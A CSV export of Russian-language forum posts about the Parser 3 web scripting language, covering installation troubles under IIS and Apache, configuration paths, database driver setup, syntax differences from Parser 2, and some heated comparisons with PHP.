"22","Клёво :-)"
"24","Elis_aka_Mikhail> driver failed to initialize client library 'libmySQL.dll'\
\
напиши полный путь к этой .dll в основном parser3.conf\
[на будущее подправлю конфиги]"
"29","А почему треды целиком не показываются, и как настроить все енто дело?\
\
И ещё! Проверьте свои примеры там ОЧЕНЬ много ОЧЕПЯТАК и маааленьких \"курьезных\" моментов из за которых приходится много думать и переделывать Ваши сорцы.\
\
А так все очень замечательно :-)))"
"31","Большое спасибо всем кто принимал и принимает участие в разработке парсера. Для меня выход 3-ей версии стало неким эпохальным событием в жизни - сердечко аж йокнуло, кады увидел что появился p3. Полагаю, что это любовь надолго.\
:-)"
"32","Михаил, а давай к общей пользе их мне мылом?\
не нужно ничего расписывать, просто поправленное, я сравню и выложу.\
чтобы люди не повторяли пройденное..."
"33","в unix эта либа, при стандартной настройке, доступна без указания пути.\
и если лежит рядом с exe тоже.\
"
"34","Я за сегодня пробежался по примерам.\
\
И сайтик полностью написал такой как в Ваших пример, но с моими исправлениями. ОК!"
"36","никто не отменял.\
убрана [`....`] конструкция, как путающая многих"
"38","y, заранее спасибо"
"40","По IP наконец зашел :)"
"41","libxslt-1.0.16 ? \
"
"42","gdome2-0.7.0\
libxml2-2.4.12\
libxslt-1.0.9\
\
под последние версии обязательно обновимся, но серьезных ошибок пока сами не заметили.\
исходники качаете + прикладываете patch + собираете = пользуетесь"
"43","И огромное спасибо всем тем - кто заходил на форум - и давал знать\
о сабже, обьяснял пиплам, а самое главное (я считаю) спасибо \
пользователям - которые заменили привычные для себя языки написания\
интернета на отечественный :)) !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
"44","приятно наблюдать (судя по новой доке по синтаксису парсера), как язык плавно транформируется в полноценный стандартный язык программирования ;-)"
"45","С превиликим интересом наблюдаю за развитием Парсер, участвую в форуме, и считаю что для дизайнера нет лучшей системы скриптования чем эта.\
Я уже наработал свою библиотеку универсальных скриптов которой постоянно пользуюсь от проекта к проекту.\
Уверен что обновленная версия станет для дизайнеров еще более универсальным инструментом и позволит воплощать все доселе невозможные задумки.\
Еще раз спасибо. Eugene Spearance"
"46","уже updated.\
2all: непременно присылайте все замеченные помарки, немедленно поправим"
"48","А не думали ли вы сделать парсер не cgi а handler -ом для Апаче?\
Вобшем мой вопрос ( этот и предыдущий ) можно сформулировать так:\
сколько откликов в секунду дает \"ab -n ....\" на странице среднего размера ( 30-60 kb ) с несложной логикой типа http://www.ivd.ru/index.xgi и на железе (PIII-850 256 mb scasi 10000 об/c ) естественно приблизительно.\
Мне это интересно в первую очередь чтобы сравнить со своей нынешней технологией которая дает мне на этом скрипте 9-11 откликов\
на машине PIII-850 256 mb scasi 10000 об/c .\
а еше я хотел бы знать как вы работаете с Ораклом если парсер сделан как cgi т.е. нет персистент коннектов ? \
Зарание спасибо ."
"51","1. Видимо, имелся в виду модуль к апачу? Тогда см. документацию.\
2. Про бенчмарки не знаю... (остается вопрос про систему - сдается мне, что Win и *nix версии дадут разные результаты, возможно, сильно) - MTV.ru, например, выдавал и больше 10 в секунду, на там типа P4 1,5Ghz 512Mb\
3. Персистент коннекшены есть и в CGI (но в пределах одной страницы ;-) )"
"53","Парсер №3 \
просто супер 5 минут как скачал-установил, а уже в экстазе\
"
"56","Скачал гл. конф. файл, распаковал его в c:\\windows (у меня там Windows XP стоит), в файле parser3.conf изменил путь к кодировкам и SQL-драйверам, в IIS назначил на расширение .p3 файл /cgi-bin/parser3.exe, создал в корне файл index.p3 и написал там <html></html>..., а сервер мне в ответ вот что:\
\
CGI Error\
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:\
\
Ничего не пойму..."
"58","Вызываю просто parser3.exe. Пишет:\
\
\"Приложению не удалось запуститься, поскольку libglib-1.3-11.dll не был найден...\".\
\
Вот."
"59","у меня такая же фигня под apache"
"61","Куда-то пропили сами XML-библиотеки. Появятся в download - положите рядом с парсером (там, в download, слева написано, что их надо скачать ;-) )"
"64","баклан, ты ещё не видел четвертый парсер!\
\
мощь! красота! он делает то же самое вообще за пару минут!"
"66","Например:\
\
вместо ^if(...){...} писать как во втором парсере - ^if[...;...]."
"67","Так будет значительно проще. Избежишь множества ошибок.\
\
Раз написано {}, значит {}"
"68","В некоторых случаях квадратные скобки использовались мной как элемент оформления, и я постоянно путался с ними.\
А { Ссылки } такого я еще не встречал, поэтому думаю будет лучше."
"73","Он просто перешел в \"иную\", мне кажется, более очевидную, ипостась...\
Есть же\
[code]^if(def $table_name){не пусто}{пусто}[/code]\
а таблица считается [b]def[/b], если в ней есть строчки...\
"
"75","^if(def - это для строки\
\
^if($table){\
  таблица не пуска\
}{\
  таблица пуста\
}"
"77","Код:\
\
[code]\
^connect[mysql://root:@localhost/test]{\
   $table[^table::sql{...}]\
}\
[/code]\
\
Выдаёт:\
can not open the module, can't open the module\
c:\\windows\\parser3\\lib/libparser3mysql.dll\
\
C:\\WINDOWS/parser3.conf(3)\
\
Попробывал изменить в parser3.conf строки:\
mysql   $sqldriversdir\\libparser3mysql.dll   $sqldriversdir\\libmySQL.dll ('/' на '\\'), всё равно не работает. Пишет:\
\
driver library column for protocol 'mysql' is empty\
set\
C:\\WINDOWS/parser3.conf(14)"
"78","прописал в parser3.conf полностью путь к библиотеке mysql"
"79","Почему мне выдается ошибка \
\
[code]\
native method of MAIN (method_frame) accepts minimum 2 parameter(s) (1 present)\
[/code]\
при такой конструкции:\
[code]\
^connect[$connect-string] {\
	$sections[^table::sql{...}\
	]\
}\
[/code]"
"81","Пробую прямо самый первый пример из Урока 1 мануала. Делаю все по писАному. Вставляю ^navigation[] в index.html и...\
\
$mail:MAIL is not hash\
exception.type=parser.runtime \
\
Дистриб тот, что для Win32-cgi-xml (пробовал и на ISAPI), дровцы для SQL-ODBC качнул и проставил, куда просили. На грабли с HTTP 500: Internal Server Error и библиотеками для XML уже наступил и исправил ситуацию. В $mail пробовал ставить и имечко, и айпишничек."
"83","в главном конфе убери комментарий из:\
\
$MAIL[\
#	$.SMTP[mail.domen.ru]\
]"
"84","быть с точкой в этом случае? \
\
[code]\
<img src=/i/i-$root.i-name.gif width=16 height=14>\
[/code]\
\
В таком виде не работает. Парсер думает, что .gif - это метод строки $root.i-name. Как быть?"
"86","[quote]\
Запомните, если вам нужно четко отделить имя переменной от следующей за ним буквы, скажем «-», как в нашем случае, нужно записать: \
\
${имя_переменной}- \
[/quote]"
"87","<img src=/i/i-${root}.i-name.gif width=16 height=14>\
\
если я правилльно понял. понять можно несколькими разными вариантами:\
1. столбец 'i' таблицы/хеша $root\
2. строка $root, затем точка и символ 'i'\
\
поэтому выделяй скобочками\
\
Еще какие варианты бывают:\
\
$table.[this-is-a-column-name]\
$form:[same-shit]"
"89","В разделе [url=http://www.parser.ru/download/]скачать[/url] и в доках написано, как коннектится. Только поставь себе CVS сначала - http://www.cvshome.org/"
"90","Стоит Apache 2 (win32). Все конфиги вроде нормально. Но постоянно выдается ошибка 500. 4то делать?"
"91","Чтобы разобратся - надо изложить поэтапно ход установки:\
какие файлы куда были скопированы , и как прописан конфиг Апача."
"93","вообще-то \
    ^if(def $таблица\
тоже работает. def в смысле есть буквы, есть строки, есть элементы(hash). но мучаться не нужно, и \
    ^if($таблица \
куда проще=понятнее.\
"
"94","где-то днём я уже подкрутил конфиг по-умолчанию, очевидно, успел взять раньше :)"
"95","по порядку\
\
1.\
для начала убедиться, что .exe вообще работает, просто его запустив вне apache.\
2.\
под apache2 не пробовал.\
3.\
посмотреть в errorlog\
4.\
включить scriptlog и посмотреть туда"
"96","Я, честно говоря, торможу. Но я не понял, куда и что распаковывать.\
parser3.cgi - в cgi-bin, а остальные туда же или в директории /etc, /lib и т.д.\
Еще -  у меня хостинг Мастрехост. Там структура такая\
домен.ru/cgi-bin/ - каталог для скриптов\
домен.ru/www/ - каталог для всего остального (index.html и т.д.)\
Я помещаю .htaccess в каталог самого домена, т.е. в  домен.ru/, в котором у меня и находятся cgi-bin и www. А сами файлы для обработки Парсером соответственно в www.\
Возникает вопрос в .htaccess писать\
Action parsed-html /cgi-bin/parser3.cgi\
или\
Action parsed-html ../cgi-bin/parser3.cgi\
\
И вообще, честно говоря, ничего не получается с установкой.\
"
"98","Скажите, как теперь сделать удаление новых строк и табов в генерируемом документе (раньше в начало файла помещалось \"^match[(\\n|\\t);g;;\", а в конец - \"]\")?"
"99","1. Класть parser3.cgi надо в /cgi-bin/\
2. Остальное клади куда хочешь, но желательно ЗА веб-пространство (то есть не в www и cgi-bin).\
3. Потом надо будет прописать пути (в parser3.conf и .htaccess)\
4. В .htaccess надо писать /cgi-bin/parser3.cgi\
5. .htaccess должен лежать в www"
"100","главное - не расстраиваться.\
ваш случай:\
\
домен.ru/\
   .htaccess << /cgi-bin/parser3.cgi & HTTP_PARSER_...\
   cgi-bin/\
      << parser3.cgi & компания\
   parser3/\
      << parser3.conf и компания (etc,lib)\
"
"101","^item[count] = обращение к объекту класса table по имени RTFM. То есть ^eval($имя_таблицы) есть то, что надо\
\
Метод offset класса table в состоянии заменить prev и next"
"102","^item[count] == $table_name\
^item[next/prev;..] == ^table_name.offset(+/-1)$table_name.field_name^table_name.offset(-/+1)\
"
"103","Оптимизация по whitespaces выполняется автоматически, если не указано иное."
"104","смотря для чего количество нужно.\
если \"просто так напечатать\", то \
[code]^таблица.count[][/code]\
а если для чего-то в выражении, то пользуйтесь тем, что таблица в выражении имеет числовое значение... равное количеству строк в ней.\
скажем, так:\
[code]^if($people>3){собралась толпа}[/code]"
"105","отдельно exe запускал. Все нормально.\
А вообще под apache 2 он запускается? или стоит поставить apache 1.3?"
"106","пока не ставил, но буду!"
"107","Да, но требуется удаление именно всех enter'ов и табов, чтобы HTML-код был одной строкой."
"108","можно и как раньше\
[code]\
@main[]\
$text[...]\
^text.match[...] << ваш match\
[/code]\
\
а можно и воспользоваться новой штукой (см. доку):\
[code]\
@postprocess[html]\
^html.match[...] << ваш match\
[/code]"
"109","На 2-ом Парсере это выглядит так: ^var[flag^item[id];1]. А как сделать новыми средствами?"
"110","Т. е. нужно этому макросу передавать код? А всегда ли получится это сдлать со всем файлом, который генерируется?"
"111","то есть нужно составное имя, так?\
\
ну и вперед:\
$index[$table_name.id]\
$flag$index(1)"
"112","т.к. у p3 есть нормальные локальные переменные, и очень не рекомендуется переносить некоторые алгоритмы из p2 в p3 как есть (я уже запарился переделывать...).\
\
Например, вместо \
^tt.menu{\
 ^if($tt.x = 1){что-то делаем}\
}\
существенно бустрее работает такое:\
\
$tt1[^tt.select($tt.x == 1)]\
^tt.menu{что-то делаем}\
\
Во вторых, если уж загорелось, то делать подобные переменные можно так:\
\
$objName[flag$id]\
$$objName(1)\
\
или попробовать прямо так: \
${flag$id}(1)\
\
Обратите внимание, что я написал круглые скобки, т.е. сказал, что тут будет число, а не строка.\
\
В з3 значитально удобнее использовать числовые флаги\
\
$is_empty(0)\
^if(тра-ля-ла){$is_empty(1)}\
\
^if($is_empty){ делаем что-то }\
\
Далее... был ^number[]... теперь делаем так:\
\
^form:formname.int(0) - т.е. берем элемент формы с именем formname и пытаемся преобразовать к числу, если не получается - суем 0 (можете не ноль, а какой-нить другой default)\
\
Еще удобно для лукапов использовать хеш, а не делать ^locate[]\
\
пример:\
$h[^hash:sql{SELECT id, name FROM record}]\
\
$id(10)\
^if($h.[$id]){есть элемент с id = 10}{нету элемента}\
\
в общем... читать... думать заново..."
"115","Меня интересует, где парсер ищет конфик по умолчанию."
"116","[quote]Во вторых, если уж загорелось, то делать подобные переменные можно так:\
[code]\
$objName[flag$id]\
$$objName(1)\
[/code]\
[/quote]\
можно и просто\
[code]\
$flag$id[значение] << положить\
$flag$id << достать\
[/code]\
\
[quote]\
или попробовать прямо так: \
[code]${flag$id}(1)[/code]\
[/quote]\
фигурные скобки для отделения чтения переменной от текста, это будет работать неверно. они тут просто не нужны :)"
"117","Взято из доки:\
\
Как подключаются конфигурационные файлы? \
Для CGI версии, если задана переменная окружения HTTP_PARSER_ROOT_CONFIG, то считывается файл, заданный в ней. \
Иначе системный конфигурационный файл parser3.conf ищется… \
…под Unix: в каталоге, задаваемом при сборке из исходных кодов (см. Сборка Parser из исходных кодов); \
…под Windows: в каталоге windows [c:\\windows или c:\\winnt]. \
"
"118","но такие конструкции совершенно точно указывали на необходимость hash в языке.\
\
не пользуйтесь\
[code]$человек$номер[/code]\
пользуйтесь\
[code]$человек.номер[/code]\
[code]\
$человек[\
    $.PAF[\
        $.свойство[значение]\
        $.нрав(666)\
    ]\
]\
\
$человек.PAF.нрав\
[/code]"
"119","Что делать, если при запуске любого html файла пишется ошибка 500, а в логах прописывается\
Premature end of script headers: /home/u***/***.ru/cgi-bin/parser3.cgi \
Без звездочек, конечно.\
"
"120","755 выставил?\
заливал как бинарик?\
все нужные модули скачал?"
"121","V говорит, что не подоткнуты xml библиотеки. Посмотри тред\
с сообщением http://195.218.200.166/forum/?id=61."
"124","и пробуйте[если CGI] запустить просто так, вне веб сервера, запускается ли.\
иначе \"в ухе жужжит\".\
\
выстрел в темноту: \
\"у вас suexec, но почему-то горит group writable бит\"\
"
"125","Евгений, есть ощущение, что вы не цените работу Алексея и Владимира по написанию доки."
"127","см. FAQ про ^default\
\
и вообще FAQ иногда полезен..."
"128","Нет, такую документацию нельзя не ценить, но я упорно не могу найти данного слова в справочнике по Парсеру. (И связанных частей: post и process - все совпадения не о том.) Может, подскажете, где находится?"
"129","А теперь о том, как это выглядит в жизни (мало ли кому пригодится):\
в auto.p пишем:\
[code]\
@postprocess[html]\
^html.match[(\\n|\\t)][g]{}\
[/code].\
HTML-файлы оформляем так, что бы [code]^postprocess[[/code] быо в начале, а [code]][/code] - в конце. (Как я и писал, этот код удалает ВСЕ новые строки и табы - в результате получается одна строка.)\
"
"130","^use(вместо macro_use:))[/s/f.cfg] ^context[all;^macro[user;^sql[ \
                              SELECT id,name from stype] ^menu[<table width=\"143...............\
\
так вот - как это по современному написать начиная заминять ^context (это берется инклуд коннекта с базой)\
хотя можно это уже делать в классах - но мы еще до этого не дошли\
"
"131","В win(xp...) \
ищет все в папке cgi-bin индейца, \
туда в начале (не дочитав документацию) некоторые люди бросали *.dll xml парсера - и работало.\
-----\
для windows + apache =\
1)parser3.exe v cgi-bin, настройка .htaccess(или httpd.conf)\
\
2)идем в папку c:\\windows (или) c:\\winnt и бросаем все остальное (конфиг:parser3.conf, и еще папка parser3(туда модули к базам данных)...)\
\
*.dll'ы xml ---> в папку windows (или) c:\\winnt.\
"
"132","IMHO под запустить exe подразумевалось не запустить из командной строки, а как http://localhost/cgi-bin/parser3.exe\
\
P.S. у меня все работает (apache 2.0.35 стандартной сборки)"
"133","фигней вы тут занимаетесь, жаль мне тему и ко, что им приходится мучаться с этим парсером, на корпоративных сайтах. этот ваш парсер - технология 7-ми летней давности. так жить нельзя. посмортите вокруг, есть zope, bea weblogic, asp.net и т.д. выкидывайте этот парсер нафик"
"134","http://www.design.ru/kovodstvo/paragraphs/17.html"
"137","Если не лень/сложно сделайте, плиз, ссылку \"Вернуться к списку сообщений\", как в прошлом форуме ..."
"138","Зато теперь sql может \"отдавать\" данные в любой тип.\
\
Можешь сделать так (если \"думать\" по-старинке):\
[code]\
$users[^table::sql{select id, name from stype}]\
^users.menu{\
   <table...\
   где-то там $users.id и/или users.name\
}\
[/code]\
\
А вообще, возможны конструкции\
^int:sql - допустим, для last_insert_id (аналогично для double)\
^string:sql - для select passwd(\"kjgdkfjd\")\
^hash::sql - для получения хэша с ключем = первой колонке\
^table::sql - \"привычный старый вид\" - именованая тблица."
"139","В серой полосочке слева от имени пользователя ссылка \"Форум\" - это оно и есть... ;-) Плюс - в навигации"
"140","Когда большое сообщение/много постов приходится лезть наверх.\
Неудобно это :-(\
А в серой полосочке зачем  ссылка мне неясно .\
Всё вышесказанное - сугубо ИМХО.\
\
P.S. C новым мылом :-)"
"141","Народ, подскажите.\
Я вот разобрался в PHP. Решил создать сайт. Туда форумы прикрутил, голосования и т.п. Теперь хочу сделать шаблонную структуру по уму.\
Скажите, будет ли это всё работать с Парсером? И вообще, стоит ли начинать его изучать? В доках написано, что Парсер не требует знания языков программирования - т.е. это альтернатива ПХП?\
А если я хочу использовать ПХП, а Парсер юзать тока для шаблонов? Возможно ли такое?\
ЗЫ. А если писать свой собственный \"шаблонизатор\" - это велосипед изобретать заново?"
"142","хочется больше антикэширующих заголовков ...\
Несколько ломает каждый раз писать http://www.parser.ru/forum/?smth"
"145","точно. давай-давай. поюзай парсер, потом поюзай еще какой-нибудь шмарсер - кульно будет. Мой тебе совет (и не только мой), пойди на xml.apache.org и фтыкай как следует, учи мат часть. потом иди на jakarta.apache.org и фтыкай еще больше. когда фтыкнешь по самые не балуйся, сам будешь смеяться, что  когда думал темину поделку использовать."
"146","В третьем апаче загрузив модуль (директива LoadModule) надо его добавить директивой AddModule в список приоритетов исполнения. Загружается он под именем parser3_module , а добавляться не желает (под именем mod_parser3.c - как обычно). В результате ничего не парсит:("
"147","Дорогой Array!\
\
Нам, вставшим на верный и трудный путь упромысливания, очень важно наблюдать ростки самосознания будущих вебмастеров и повсеместный переход на Парсер. Вместе с тем в преддверии праздника весны мы хотим предостеречь отдельных вебмастеров от так называемого зловредного петюкания в лице иностранного языка Пэ-Аж-Пэ.\
\
Нельзя ни минуты продолжать использовать чуждые народу языки. Промедление смерти подобно - начинай переходить на Парсер! К чему изобретать велосипед, когда Парсер уже здесь и сейчас, не требует знания языков программирования, а на первое время даже может запускать отдельные, ещё не перевёденные на правильный скриптинг фрагменты кода на Пэ-Аж-Пэ и Перле? Как совершенно справедливо заметил Иван-Эт-Майл-Ру, \"фтыкать как следует\" - вот девиз настоящих паcанов!"
"150","Сабж где???\
Как-то не рулит(лениво) говорить каждый раз - \"back!\""
"151","напиши - тебе памятник поставят :))"
"152","Да его нет -\
а насчет полученных item'ov\
^item[name] не буде работать?\
\
 или \
\
сразу ставить $users.id и/или users.name\
"
"154","Мой сервер Apache, структура дирректорий следующая:\
<>.com.ua\
   public_ftp(dir)\
   public_html(gir)\
      cgi-bin(dir)\
\
Отсюда и вопрос - какой ИМЕННО парсер мне скачивать и что куда распаковывать. Именно интересуют файлы parser3.cgi, .htaccess, parser3.cfg и может еще что-то\
И еще почему нигде ничего не написано про выставление прав доступа? Или это не важно?\
"
"156","я не могу установить parser как модуль apache под Win32:\
для установки пишу такие директивы в httpd.conf:\
\
[code]\
LoadModule mod_parser3 modules/ApacheModuleParser3.dll\
\
ParserRootConfig d:\\apache\\cgi-bin\\p3\
[/code]\
\
В журнале NT пишется следующее:\
\
The Apache service named Apache.exe reported the following error:\
>>> Can't locate API module structure `mod_parser3' in file d:/apache/modules/apachemoduleparser3.dll: (127) The specified procedure could not be found: <<<\
 before the error.log file could be opened.\
 More information may be available in the error.log file.\
\
В журнале ошибок Apache ничего не пишется.\
\
Пробую версию и с XML и без и результат один и тот же."
"157","вроде как старые item'ы заменены на поля объектов. Тут действительно надо по другому думать. Короче вот тебе лозунг: Think different! (Это из яблочной песни :) )"
"161","Будьте внимательны при работе с СУБД под Win32, а дело в следущем:\
\
В главном конфиге написано:\
[code]\
mysql	$sqldriversdir/libparser3mysql.dll	$sqldriversdir/libmySQL.dll\
pgsql	$sqldriversdir/libparser3pgsql.dll	$sqldriversdir/libpq.dll\
oracle	$sqldriversdir/libparser3oracle.dll\
[/code]\
\
а в архиве названия библиотек немного другие для MySQL [i]parser3mysql.dll[/i] для Postgree [i]parser3pgsql.dll[/i] для Orecle не смотрел, но возможно тоже название не совпадает.\
\
Надо либо файлы переименовать либо строчки конфига и кстати просьба к разработчикам устранить несоответствие, а не то многие будут каждый раз наступать на одни и те же грабли."
"163","Концептуально правильнее с помощью PHP создавать XML, а дизайн сответственно в XSL шаблонах.\
"
"164","Могли бы совместимость со старой версией сделать :/. Такую кучу кода нужно переписывать для 3-го парсера.."
"166","И у парсера тоже. Нет и не будет идеального продукта, поскольку нет и не будет одинаковых задач, технических условий, девелоперов, etc.\
Есть класс начальных условий, на которых использование парсера эффективнее сущесвующих решений. При этом я не рассматриваю ситуацию, когда никакое из перечисленных вами решений вообще нет технической возможности использовать (ограничения провайдера).\
\
"
"172","[i]> Я вот разобрался в PHP[/i]\
\
Молодец\
\
[i]> Решил создать сайт[/i]\
\
Клёво\
\
[i]> Туда форумы прикрутил, голосования и т.п.[/i]\
\
Опять молодец\
\
[i]> Теперь хочу сделать шаблонную структуру по уму.[/i]\
\
Похвальное желание, - do it\
\
[i]> Скажите, будет ли это всё работать с Парсером?[/i]\
\
Зачем совмещать не совместимое?\
\
[i]> И вообще, стоит ли начинать его изучать?[/i]\
\
Стоит\
\
[i]> В доках написано, что Парсер не требует знания языков программирования - т.е. это альтернатива ПХП?[/i]\
\
Да\
\
[i]> А если я хочу использовать ПХП, а Парсер юзать тока для шаблонов?[/i]\
\
Зачем?\
\
[i]> Возможно ли такое?[/i]\
\
Вряд ли\
\
[i]> А если писать свой собственный \"шаблонизатор\" - это велосипед изобретать заново?[/i]\
\
А он и не изобретён пока. Ни одна из технологий Инета пока не доведена до ума.\
\
"
"173","Дело в том, что Parser3 - полноценный объектно-ориентированный язык. В нем есть полиморфизм, наследование, инкапсуляция. У него логика другая. А от второго только циркумфлекс и остался :-)"
"182","Если заремить $.SMTP возникает Unhandled Exception: $mail:MAIL is not hash, exception.type=parser.runtime.\
Это как, нормально? А если с сайта не предполагается отправка мыла?"
"187","на этом объектно-ориентированном языке написать хотя бы web-service?\
\
ps. а что это такое? парсер?\
Entity: line 93: error: attributes construct error\
  <field type=\"text\" name=\"name\" value=\"Re: Рђ \"Р&#65533;РҐС‚РµСЂРҐРµС‚ РЎРёСЃС‚РµРјР°\
                                                ^\
Entity: line 93: error: Specification mandate value for attribute Р&#65533;РҐС‚РµСЂРҐРµС‚\
  <field type=\"text\" name=\"name\" value=\"Re: Рђ \"Р&#65533;РҐС‚РµСЂРҐРµС‚ РЎРёСЃС‚РµРјР°\
                                                                 ^\
Entity: line 93: error: attributes construct error\
  <field type=\"text\" name=\"name\" value=\"Re: Рђ \"Р&#65533;РҐС‚РµСЂРҐРµС‚ РЎРёСЃС‚РµРјР°\
                                                                 ^\
Entity: line 93: error: Specification mandate value for attribute РЎРёСЃС‚РµРјР°\
  <field type=\"text\" name=\"name\" value=\"Re: Рђ \"Р&#65533;РҐС‚РµСЂРҐРµС‚ РЎРёСЃС‚РµРјР°\
                                                                              ^\
Entity: line 93: error: attributes construct error\
  <field type=\"text\" name=\"name\" value=\"Re: Рђ \"Р&#65533;РҐС‚РµСЂРҐРµС‚ РЎРёСЃС‚РµРјР°\
                                         \
\
create\
\
/home/www/design/parser/www//../data/classes/engine.p(999)\
\
exception.type=xml create /home/www/design/parser/www//../data/classes/engine.p(999)\
if /home/www/design/parser/www//../data/classes/engine.p(991)\
execute_xslt /home/www/design/parser/www//../data/classes/engine.p(890)\
if /home/www/design/parser/www//../data/classes/engine.p(871)\
execute /home/www/design/parser/www/_doc.html(34)\
connect /home/www/design/parser/www//../data/classes/mysql.p(10)\
server /home/www/design/parser/www/_doc.html(32)\
cache /home/www/design/parser/www/_doc.html(31)"
"188","Я безумно рад этому обстоятельству (я читал доку :)). Но объясните мне такую вещь. У меня есть куча сайтов, написанных не мной на парсере. То есть попутно к переписыванию на парсер3 прибавится еще и расшифровка чужого кода. Так вот могут ли мне ответить на такие вопросы:\
а) будет ли это работать быстрее. При текущем раскладе парсер тормозит всю систему (win32). Почему парсер? да потому, что те же страницы, переписанные на ASP, грузят гораздо меньше. В частности потому, что не нужно каждый раз инициализировать новый процесс. В принципе я понимаю, что ISAPI для этого и прикручен в 3-м парсере, но все же - да или нет? насколько оптимизировано ядро? Или дело в операционке (просто впечатление, что под фрибзд на целероне 500 парсер летает, а на 2х400 пне втором на win2000 ползает)?\
б) предположим, что скоро выйдет Parser4, с еще улучшенным быстродействием, новыми фишками, но ОПЯТЬ с новым синтаксисом. Мне что, опять все переписывать??? Могут разработчкики гарантировать, что они новые фишки будут добавлять, а не изменять?\
По крайней мере, если я буду переписывать на php, я буду уверен, что с выходом новой версии все старое будет работать. Будет ли то же самое с парсером?\
в)планируется ли выпуск модулей языка под другие sql-server для unix или хотя бы поддержка unix odbc? В частности наиболее интересует FireBird/Interbase, как единственный фриварный сервер с нормальным ansi sql, в отличии от mysql ной поделки.\
\
Спасибо за внимаие\
\
"
"192","Ммм... Ну, давай по порядку.\
1. Быстрее будет. Оно работает по другому. И развивается. На моем тысячном селероне все летает (скажем, аналогичные по сложности и количеству операций с БД вещи на перле ощутимо медленнее).\
\
2. Про Парсер4 речи не идет, но как знать? Кроме того, я лично не собираюсь переделывать ничего со второго парсера на третий. То, что работает на втором - пусть так и работает. Для директорий с модулями на 3 я напишу отдельный .htaccess. Так было, скажем, с сайтом второго парсера, когда один раздел - форум - был на третьем, а все остальное на втором."
"193","RTFM @ http://www.webservices.org.\
Ну написать SOAP-сервер + сделать WSDL и через UDDI его рарегистрить"
"194","Про новые драйверы для различных СУБД - на то исходники и даны. Разработки сторонних людей тоже будут приветствоваться, особенно в области работы с другими БД."
"198","Я вспоминаю, как на сайте второго парсера кто-то на пяти (или больше?) языках написал какой-то код, и говорил, что, дескать, на парсере это нереализуемо... Тоже красиво и модно выглядело!"
"202","Понимаешь, я не против того чтобы оно работало на 2м парсере. Но оно тормозит на 2м парсере (2х процессорная тачка!), и постоянно окошко на сервере вылетает с exception. По этому повожу пришлось написать программку, которая эти окошки закрывает. Потому как без нее (программки) IIS со временем перестает отвечать на запросы, пока все окошки не закроешь. Кроме того, все это было написано на связке mssql+parser odbc, а нужно переходить на unix, а парсер2 под юникс пользует только mysql. Переписать же код базы на mysql возможным не представляется вообше, потому как... потому как гониво этот mysql. А вот интербейс бы очень неплохо бы.\
Короче я в раздумьях..."
"206","Знаешь у меня тоже 2-х процессорная, правда с Apache, но ничего не тормозит и при этом на сервере весьма нехилая БД крутится (около 1 Гб). Да и еще, думаю парсер не заточен под многопроцессорность, потому что в случае cgi варианта каждый раз создается процесс, а как известно для многопроцессорных систем накладные расходы при создании нового процесса куда выше, чем для однопроцессорных."
"207","1. Сам парсер - в /cgi-bin/\
2. Остальное - в /cgi-bin/etc/. Потом правильные пути прописать в parser3.conf\
3. Если у тебя *nix - права и так в архиве привильные, а если Win, то и права не нужны."
"211","8-)))\
Ну вы, пасаны, чиста канкретна приколисты...\
А вот если так: есть наирулезнейший форум на PHP: phpBB v2.0\
Как я понял, с парсером он жить дружно не будет.\
И как быть? Я не хочу лишаться такого форума. И судя повсему, форум на www.parser.ru - это венец человеческой цивилизации в лице Парсера. Совершенно неюзабелен.\
Я сам ответил на свой вопрос, или как? :)\
ЗЫ. Все форумы, гостевые книги и т.п. делаются только на Парсере?\
ЗЗЫ. Ответьте по существу, я конечно понимаю, что красная армия всех сильней и спартак - чемпион. А если без эмоций?"
"212","спасибо"
"214","нормально.\
заремь всю секцию, раз уж не предполагается отправка.\
наездов не потерплю. давайте общаться спокойно и толково.\
\
это исправлю.\
\
PAF"
"217","но по сравнению с парсером .... PHP рулит!"
"218","наличие исходников подразумевает, что кто-то может это успеть сделать быстрее и лучше меня.\
\
apache-1.3\\src\\modules\\example\\mod_example.c\
45 836 \
\
parser3project\\parser3\\src\\targets\\apache13\\mod_parser3.C\
26 417 \
\
:)"
"221","Лицензионное соглашение пункт 2.\
Запрет на модификацию.\
Запрещается модифицировать, адаптировать, переводить на другие языки, менять структуру, декомпилировать, дизассемблировать Программу.\
\
Говорите, сторонние разработчики приветствуются? "
"222","я еще не видел готовых юзабельных форумов :)\
\
а если у тебя уже используется софт на PHP, то довольно странно переходить на что-то еще\
"
"223","кусок конфига/строка сообщения?\
\"список приоритетов ожидания\"?"
"226","Административным решением флейм по данному вопросу закрыт.\
На будущее напоминаю - будьте конструктивнее и не переходите на личности.\
"
"227","Каюсь, но совсем забыл, что у Win есть что-то отличное от FAT ;-)))\
(Вот оно, маковое рабочее место)\
\
Права под Win, естественно, есть и с ними (правами) и под Win в архивах все хорошо.\
\
Приношу свои извинения всем Win-пользователям ;-)))"
"228","задача сложна, и каждый подходит к ней со своими требованиями.\
я не ставил задачи впихнуть в Parser всё на свете, при этом удовлетворив всех на свете. это не possible.\
\
поэтому запускайте внеший скрипт, который вам больше нравится.\
если ищете, с чего начать:\
http://www.imagemagick.org/www/convert.html"
"230","Думаю со временем мы сделаем более-менее полноценное сравнение отличий и опубликуем его.\
Куда эти отличия относить - к достоинствам или недостакам - во многом субъективно.\
\
Из очевидного:\
\
синтаксис (в парсере нет оператора print)\
многоязыковая поддержка (для работы с UTF-8 в PHP отдельные функции, в парсере интегрировано)\
интерфейс для работы с базами данных (в парсере один, в PHP много разных, хотя они развиваются в \"нашу\" сторону)\
системный тип таблица (в PHP нет, в парсере есть)\
приверженность объектной технологии (в парсере строка объект с методами, а в PHP набор функций)\
автоматическое обработка пользовательского ввода - это когда при например (но не только) при формировании SQL запроса вам заменят ' на \\' (в PHP зачатки, в парсере полноценная реализация данной идеи)\
"
"231","Несколько конструктивных вопросов:\
\
1. Прав ли я считая что парсер 2 принадлежит к процедурным языкам типа Фортрана и для успешного использования 3-го надо менять парадигму программирования (стиль), поскольку 3-й - это объектно-ориентированный язык?\
\
2. Будет ли 4-й парсер объектным?\
\
3. Полезно ли читать книгу Г. Буча \"Объектно-ориентированный анализ и проектирование\" и фрагменты книги (не касающиеся синтаксиса языка) Б. Страуструпа \"Язык программирования C++\" для успешного использования 3-го парсера?"
